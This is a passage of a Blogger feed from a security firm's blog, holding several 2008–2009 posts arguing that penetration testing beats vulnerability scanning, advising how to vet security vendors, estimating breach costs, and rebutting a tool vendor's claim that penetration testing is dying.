intend it to be.  There is no one team that is the best, but there are only a few good ones. If this isn't clear enough or if it needs more revision please comment.)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1635195056719655971?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1635195056719655971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/01/vulnerability-scanning-doesnt-work.html#comment-form' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1635195056719655971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1635195056719655971'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/01/vulnerability-scanning-doesnt-work.html' title='Network Vulnerability Scanning Doesn&apos;t Protect You'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7764286788336669343</id><published>2009-01-05T17:49:00.000-08:00</published><updated>2009-01-05T20:40:58.321-08:00</updated><title type='text'>Finding The Quality Security Vendor (Penetration Testing, Vulnerability Assessments, Web Application Security, etc)</title><content type='html'>While I've written several detailed white-papers on the subject of identifying quality security vendors, I still feel compelled to write more about the subject. It is my opinion that choosing the right security vendor is critical to the health and safety of a business.  Choosing the wrong vendor can leave you with a false sense of security that in the end might result in significant damages. Often times those damages can't be fully measured and appreciated, especially when they involve the tarnishing of a good name.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This problem of identifying quality isn't new but it does take on a new importance when it involves the safety of your trade secrets, source code, or otherwise critically sensitive information.  When you trust a security provider to test your IT Infrastructure, your people, physical security, etc. you are relying on them to identify risks that malicious hackers might otherwise discover.  If the provider does not test you at the same threat level as the malicious hackers then their service is almost useless. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If that doesn't compel you to want quality security services then go ahead and take the risk.  I suppose the question really is, how much is your network (and its data) worth? If its worth more than $500,000.00 then its probably worth spending money on a quality security vendor to protect it right?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So how do you know which providers are quality and which ones are frauds?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The first rule of thumb is to watch out for the vendors that produce deliverables that are the product of vulnerability scanners.  There are two reasons for this, the first being that you don't need to pay anyone to run an automated scan when you can do it yourself for much less, or for free. You can choose from a variety of free tools like &lt;a href="http://www.nessus.org"&gt;nessus,&lt;/a&gt; or you go out and buy a license for a vulnerability scanner.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Don't be fooled though, &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;vulnerability scanners do not produce accurate results&lt;/span&gt;. In fact most vulnerability scanners produce results that contain anywhere from 40-90% &lt;a href="http://en.wikipedia.org/wiki/False_positive"&gt;false positives&lt;/a&gt; with an unknown rate of &lt;a href="http://en.wikipedia.org/wiki/False_positive#Type_II_error"&gt;false negatives&lt;/a&gt;.  While these tools are useful for reconnaissance they should not be used as the primary method for security testing. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Watch out for the vendor that tells you that they will run a vulnerability scan against your network and then "vet" the results.  Vetting doesn't mean that they are going to do additional discovery. Vetting only means that the vendor will check the results of the vulnerability scan and eliminate the false positives. The quality of the end product is then only as good as the accuracy of the vulnerability scanner. Would you bank on that?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When you are choosing the vendor make sure to ask them specific questions.  Questions that I find helpful are realistic but based on theoretical architectures.  For example you could ask a vendor the following question:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"Suppose you are confronted with an architecture that consisted of 10 desktops behind a single firewall.  That firewall has properly configured IPS capabilities and there are no ports forwarded from the internet to any system behind that firewall. How would you [the vendor] penetrate into that network? Once you penetrate how would you perform &lt;a href="http://www.phrack.org/issues.html?issue=55&amp;amp;id=16&amp;amp;mode=txt"&gt;Distributed Metastasis?&lt;/a&gt;" Email me for the answer if you don't know it already. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can also ask the vendor how they would use a directory traversal vulnerability to penetrate into a network.  This is a bit of a trick question but if they know what they are doing then they will be able to answer it properly.  The short answer is that you need to inject code into the web-server's error log and then use the directory traversal vulnerability to render the code. (Again, if you need the complete answer email me and I'll get it to you.)&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Another good rule is to only choose security vendors who also perform Vulnerability Research and Development ("R&amp;amp;D").  That is to say that the vendor must frequently perform security research against technology, identify vulnerabilities in that technology, create exploits for those vulnerabilities and must release &lt;a href="http://www.netragard.com/recent_research.php"&gt;formal security advisories&lt;/a&gt;. If they don't then chances are they don't know how to do it, but why is R&amp;amp;D important? &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R&amp;amp;D enables the vendor to keep its penetration testing skills honed (so long as the research done by the penetration testers).  Penetration Testers who do not perform this kind of research are literally Script Kids (sorry guys).  Script Kids are people who download tools and use those tools to penetrate into networks. In almost all cases they don't have any understanding of how the tools work.  If you think about it, thats like giving a loaded gun to a 3 year old. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can also ask the vendor how they collect their threat intelligence.  Threat intelligence is a critical aspect of delivering quality security services.  If the vendor doesn't have current threat intelligence about the threat then how will they help you to defend yourself against the threat? While I won't tell you how my team collects this intel, I will tell you that its not from the news and most certainly not all public forum. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In closing, my recommendation to you is that you do your homework before you choose a vendor. Research the components required for delivering a quality service, then use your research to question the provider.  As an example, if you were going to get a Web Application Penetration Test ask the vendor to define the term "Penetration Test".  Ask the vendor what the difference is between a Penetration Test and a Vulnerability Assessment.  Also ask them to explain RFI, LFI, XSS, SQL Injection, Blind SQL Injection, etc.  Remember, you are going to spend money on security, might as well make it worth while.  If you don't then you're just adding that money to the damages from the hack that you'll suffer in the end. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you have any questions please feel free to leave me a comment or send me an email.  You might also want to check out the white papers that I've linked at the upper right hand corner of this blog.  Those papers go into more detail about how to choose a good security vendor and how to select the right service. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7764286788336669343?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7764286788336669343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/01/finding-quality-security-vendor.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7764286788336669343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7764286788336669343'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/01/finding-quality-security-vendor.html' title='Finding The Quality Security Vendor (Penetration Testing, Vulnerability Assessments, Web Application Security, etc)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1613778695357304836</id><published>2009-01-04T09:05:00.000-08:00</published><updated>2009-01-04T11:14:13.819-08:00</updated><title type='text'>Followup to my last Brian Chess - Fortify Software post.</title><content type='html'>&lt;span style="font-size:100%;"&gt;Recently I published a post about Fortify Software's Brian Chess because of some outlandish claims that he made in an article about penetration testing being "Dead by 2009".  The off-line and 0n-line comments that resulted from that post were mostly in favor of  what I'd written and one of those comments really caught my eye.  So here is a post dedicated to &lt;a href="http://www.blogger.com/profile/18106347834259269413"&gt;Rafal&lt;/a&gt; in response to his comment on my article about &lt;a href="http://snosoft.blogspot.com/2008/12/brian-chess-cto-of-fortify-software.html"&gt;Brian Chess.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://snosoft.blogspot.com/2008/12/brian-chess-cto-of-fortify-software.html?showComment=1231051320000#c4058368304969433329"&gt;Comment By Rafal shown below, verbatim in pink:&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"If I may call a sanity timeout here folks - while I don't agree with Brian's assertions necessarily - if you combine a few factors you could conceivably come to the conclusion that penetration testing will start to dwindle (just not as quickly as 2009)."&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Its only conceivable for those who do not know what Penetration Testing is, and many self-proclaimed security guru's don't.  So lets start with some (partial) definitions here:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vulnerability Assessment: &lt;/span&gt;&lt;br /&gt;(Assessment:  the act of assessing; appraisal; evaluation.)&lt;br /&gt;A Vulnerability Assessment is a service that evaluates a particular target, or set of targets for the purpose of identifying points of exposure that are open to assault.  A Vulnerability Assessment does not attempt to compromise or penetrate into a target once a point of exposure is identified, it only aims at assessing the target for points of risk. Vulnerability Assessments by their very nature are prone to False Positives and False Negatives as the findings are never validated via Penetration or Exploitation.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Vulnerability Assessment Tools include:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;WebInspect for Web Application Vulnerability Assessments&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Nessus for Network Vulnerability Scanning&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Fortify for Web Application Vulnerability Assessments&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Retina Network Vulnerability Scanning&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;etc... you get the idea.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Penetration Test:&lt;br /&gt;&lt;/span&gt;(Penetration: the act or power of penetrating.)&lt;br /&gt;A Penetration Test is a service that evaluates a particular target, or a set of targets for the purpose of identifying points of exposure that are open to assault. A Penetration Test differs from a Vulnerability Assessment in that it attempts to penetrate into the target by exploiting any discovered points of risk and exposure.  A Penetration Test when done properly will result in an accurate deliverable that contains no false positives.  This is possible because exploitation of a risk or point of exposure is either successful or not.  Penetration Tests can include theoretical findings but they should not be reported on as positives.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Penetration Testing Tools include (I'd recommend these):&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.metasploit.com/"&gt;The Metasploit Framework  &lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.immunityinc.com/"&gt;CANVAS  &lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.coresecurity.com/"&gt;Core Impact&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;etc...&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;You can use a Vulnerability Assessment or a Penetration Test against any type of target not just technology based targets.  At &lt;a href="http://www.netragard.com/"&gt;Netragard&lt;/a&gt; we perform physical &lt;a href="http://www.netragard.com/services-penetration_testing.php"&gt;penetration tests, wireless penetration tests, network penetration tests, social engineering based penetration tests, web application penetration tests, etc.&lt;/a&gt;  Likewise we can deliver vulnerability assessments against the same set of targets if penetration testing is too aggressive.&lt;br /&gt;&lt;br /&gt;(I get the feeling that both Rafal and Brian Chess think that Penetration Testing is a Web Application only service)&lt;span style="color: rgb(255, 153, 255);"&gt;&lt;br /&gt;&lt;br /&gt;"Here's my logic - feel free to scrutinize. For the record I work for HP (the SPIDynamics acquisition) so you guys can feel free to rip on the fact that our marketing folks I'm sure make interesting claims as well... but I digress. Here are some things to consider:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Actually we've got quite a bit of &lt;a href="http://news.zdnet.co.uk/itmanagement/0,1000000308,2120211,00.htm"&gt;interesting history with HP&lt;/a&gt;, but that's a different story.  With respect to SPIDynamics and the Web Inspect tool, I'm sorry that HP ever acquired SPIDynamics.  WebInspect was a reasonable tool for doing preliminary reconnaissance against Web Applications during non-covert services.  Once HP acquired the technology its quality went down the tubes.  Not only that but the process of acquiring a license from HP is excruciatingly painful  at best.  What ever happened to being able to purchase the product online?  /end rant&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;"1. When you do penetration testing, what are you really testing? Are you testing the system or the intelligence and skill of the pen tester? This is a very tough question to answer.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 153, 255);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Why is that a difficult question to answer? If you've built your penetration testing team properly then your team will be able to expose its targets to the same or greater threat level than that which they will likely face in the real world. The fact of the matter is the more secure the infrastructure the more challenging the test and yes, its impossible to know everything but its not impossible to do a great job.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"2. Pursuant to #1 above, and the business' (living in reality land here) need to do lowest-cost vendors... what value do you suppose that the 90%+ of companies that go lowest-cost (outsourced to India, China, Mexico, etc) are getting?"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;Businesses do not "need to do the low-cost vendors", they choose to because they are making uneducated decisions in most cases.  Mind you the lack of education on their part is not their fault, its the fault of the poor quality vendors.  Poor quality vendors advertise their services as if they are the same quality as the high quality vendors thereby causing confusion.  When a business compares the two services they don't see the difference and so they choose the less expensive one.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"3. With every point-and-click testing tool there is a double-edged sword... here's why&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt; 3a. Tools make you more efficient BUT"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;I only partially agree. When the tool spits out over 2,000 false positives (like WebInspect did the last time we used it) with only 3 real positives its doing very little to increase the efficiency of a team. Other tools that produce less false positives and more accurate results are very useful for time savings but their results should not be used to create an end product.  Automated tools are not dynamic by nature and as such can not identify the same risks as talented penetration testers.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"3b. Tools can make you less "hands-on" when it comes to writing low-level exploits or code..."&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;Tools are also the root cause of the the &lt;a href="http://snosoft.blogspot.com/2008/12/fradulent-security-experts.html"&gt;fraudulent security experts&lt;/a&gt;.  I'm not saying that tools don't have their place because they certainly do.  But they allow people to become lazy and as such breed "experts" that are for all intents and purposes no better than script kids (which might I add are very dangerous because they don't know what they are doing).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"4. Penetration testing is an after-the-fact requirement... which is too late. You have to use tools to augment and empower your developers to write better code at the grass-roots otherwise you're hosed."&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;You're partially wrong. The tools that you speak of are derived from the attacks that were created by Penetration Testers (aka: hackers). With respect to the world of Web Applications, do you think that a tool discovered the first SQL Injection vulnerabilitiy and created a method for exploitation?  Ofcourse not! Tools will always be a few steps behind the capabilities of a real hacker, regardless of that hackers ethical bias.  The fact of the matter is that as hackers, we perform research and identify new methods for penetration that were not previously discovered and your tools can not and will not ever be able to defend against that.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"So - to summarize, penetration testing isn't going to be "dead" in this year of 2009, but it may start to dwindle down some depending on how good the marketing machines of the tools vendors are. Brian's statement is a self-fulfilling prophecy... he is making a statement that he hopes will incite people to make that statement come true.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 153, 255);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I disagree, and again, you are working for a vendor that makes these tools.  Its in your best interest to suggest that some how Penetration Testing will be less of a requirement because of the tools that you create. The reality of it is that if people drink that kool aid they will become more vulnerable, not more secure.&lt;br /&gt;&lt;br /&gt;When  our military tests the armor of its &lt;a href="http://images.google.com/images?q=M1A2+Abrams&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&amp;amp;um=1&amp;amp;sa=X&amp;amp;oi=image_result_group&amp;amp;resnum=1&amp;amp;ct=title"&gt;M1A2 Abrams Tank &lt;/a&gt;they test it against the real threat.  So why aren't we pushing our customers to do the same thing, it makes perfect sense? In our case the real threat is always going to be the malicious hacker, not the software vendor making pretty and easy to use tools.  The tools do have a place but they will only ever identify the low hanging fruit.  It takes a professional hacker/penetration tester to actually test an infrastructure properly. Lets see your tools perform Social Engineering or drop &lt;a href="http://www.embedded.com/columns/esdeic/212500347"&gt;USB sticks in parking-lots&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1613778695357304836?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1613778695357304836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/01/followup-to-my-last-brian-chess-fortify.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1613778695357304836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1613778695357304836'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/01/followup-to-my-last-brian-chess-fortify.html' title='Followup to my last Brian Chess - Fortify Software post.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-935088965295887520</id><published>2009-01-02T11:29:00.001-08:00</published><updated>2009-01-02T15:40:44.426-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration test'/><category scheme='http://www.blogger.com/atom/ns#' term='cost of security'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='ROI of good security'/><title type='text'>ROI of good security.</title><content type='html'>The cost of good security is a fraction of the cost of damages that usually result from a single successful compromise.  When you choose the inexpensive security vendor, you are getting what you pay for.  If you are looking for a check in the box instead of good security services, then maybe you should re-evaluate your thinking because you might be creating a negative Return on Investment.&lt;br /&gt;&lt;br /&gt;Usually a check in the box means that you comply with some sort of regulation, but that  doesn't mean that you are actually secure.  As a matter of fact, almost all networks that contain credit card information  and are successfully hacked are PCI compliant (a real example).  That goes to show that compliance doesn't protect you from hackers, it only protects you from  auditors and the fines that they can impose.  Whats more is that those fines are only a small fraction of the cost of the damages that can be caused by a single successful hack.&lt;br /&gt;&lt;br /&gt;When a computer system is hacked, the hacker doesn't stop at one computer.  Standard hacker practice is to perform &lt;a href="http://www.cs.umbc.edu/cadip/docs/NetworkIntrusion/distributed_metastasis.pdf"&gt;Distributed Metastasis&lt;/a&gt; and propagate the penetration throughout the rest of the network.  This means that within a matter of minutes the hacker will likely have control over the most or all of the critical aspects of your IT infrastructure and will also have access to your sensitive data.  At that point you've lost the battle... but you were compliant, you paid for the scan and now you've got a negative Return on that Investment ("ROI").&lt;br /&gt;&lt;br /&gt;So what are the damages? Its actually impossible to determine the exact cost in damages that result from a single successful hack because its impossible to be certain of the full extent of the compromise.  Never the less, here are some of the areas to consider when attempting to calculate damages:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Man hours to identify every compromised device&lt;/li&gt;&lt;li&gt;Man hours to reinstall and configure every device&lt;/li&gt;&lt;li&gt;Man hours required to check source code for malicious alterations&lt;/li&gt;&lt;li&gt;Man hours to monitor network traffic for hits of malicious traffic or access&lt;/li&gt;&lt;li&gt;Man hours to educate customers&lt;/li&gt;&lt;li&gt;Penalties and fines.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The cost of downtime&lt;/li&gt;&lt;li&gt;The cost of lost customers&lt;/li&gt;&lt;li&gt;The cost of a damaged reputation&lt;br /&gt;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;(The damages could *easily* cost well over half a million dollars on a network of only ~50 or so computers. )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now lets consider the Return on Investment of *good* security.  An Advanced Penetration Test against a small IT Infrastructure (~50 computers in total) might cost something around $16,000.00-$25,000 for an 80 hour project.  If that service is delivered by a quality vendor then it will enable you to identify and eliminate your risks before they are exploited by a malicious hacker.  The ROI of the quality service would be equal to the cost in damages of a single successful compromise minus the cost of the services.  Not to mention you'd be complaint too...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;(&lt;span style="font-style: italic; font-weight: bold;"&gt;Note:&lt;/span&gt; the actual cost of services varies quite a bit depending on what needs to be done, etc.)   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So why is it that some vendors will do this work for $500.00 or $2,000.00, etc? Its simple, they are not delivering the same quality service as the quality vendor.  When you pay $500.00 for a vulnerability scan you are paying for something that you could do yourself for free (&lt;a href="http://www.nessus.org/download/"&gt;go download nessus&lt;/a&gt;). Never the less, when you pay $500.00 you are really only paying for about 5 minutes of manual labor, the rest of the work is automated and done by the tools. (If you broke that down to an hourly rate you'd be paying something like $6000.00 an hour since you're paying $500.00 per 5 minutes). In the end you might end up with a check in your compliance box but you'll still just as vulnerable as you were in the beginning.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-935088965295887520?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/935088965295887520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/01/cost-of-good-security-is-fraction-of.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/935088965295887520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/935088965295887520'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/01/cost-of-good-security-is-fraction-of.html' title='ROI of good security.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2199059352913034129</id><published>2008-12-29T13:25:00.000-08:00</published><updated>2008-12-30T09:23:16.632-08:00</updated><title type='text'>Brian Chess, CTO of Fortify Software - Creating Confusion</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;So this entry goes to support my previous post about &lt;/span&gt;&lt;a href="http://snosoft.blogspot.com/2008/12/insecure-security-technologies.html"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Insecure Security Technologies&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; and some of the confusion that these vendors can cause. Recently Networkworld published an &lt;/span&gt;&lt;a href="http://www.networkworld.com/news/2008/120808-penetration-testing-dead-in.html"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;article &lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;named "Penetration Testing: Dead in 2009" and cited Brian Chess, the CTO of Fortify Software as the expert source. &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The first thing that I want to point out is that Brian Chess is creating confusion amongst the non-expert people who read the article linked above.  The laymen might actually think that Penetration Testing is going to be dead in 2009 and as a result might decide to buy technology as a replacement for the service.  Well, before you make that mistake read this entire entry. I'll give you facts (not dreamy opinions) about why &lt;/span&gt;&lt;a href="http://www.netragard.com/services-penetration_testing.php"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Penetration Testing&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; is required and why its here to stay.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As a side note, Brian Chess has a vested interest in perpetrating this fantasy because his objective is first and foremost to sell you his technology.  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Technology, like Brian Chess's technology is a solution to a problem, which by definition means that the problem came first and the technology was always a few steps behind.  With respect to IT Security, hackers are always creating new methods for penetrating into networks (the problem). Because those methods of attack are new, the technology is not able to defeat them (because the solution doesn't yet exist). So if technology can't protect you, then how do you protect yourself?&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The best way to protect yourself is to use a combination of technology (to solve known problems) and Penetration Testing (to identify the unknown). A properly executed penetration test will reproduce the same or greater threat levels that your infrastructure will likely face in the real world.  This is akin to testing the armor of the M1A2 tank.  You shoot the armor with RPG's and armor piercing rounds so that you can study the impact and improve the armor to the point where it defeats the threat.  As a result Penetration Testing can move your security posture well past the limits of what technological solutions have to offer.  My professional recommendation is that both Technology and Penetration Testing should be used.  Sorry Mr Chess, but telling people that Penetration Testing will be dead by 2009 is just fiction. &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Moving on...&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: 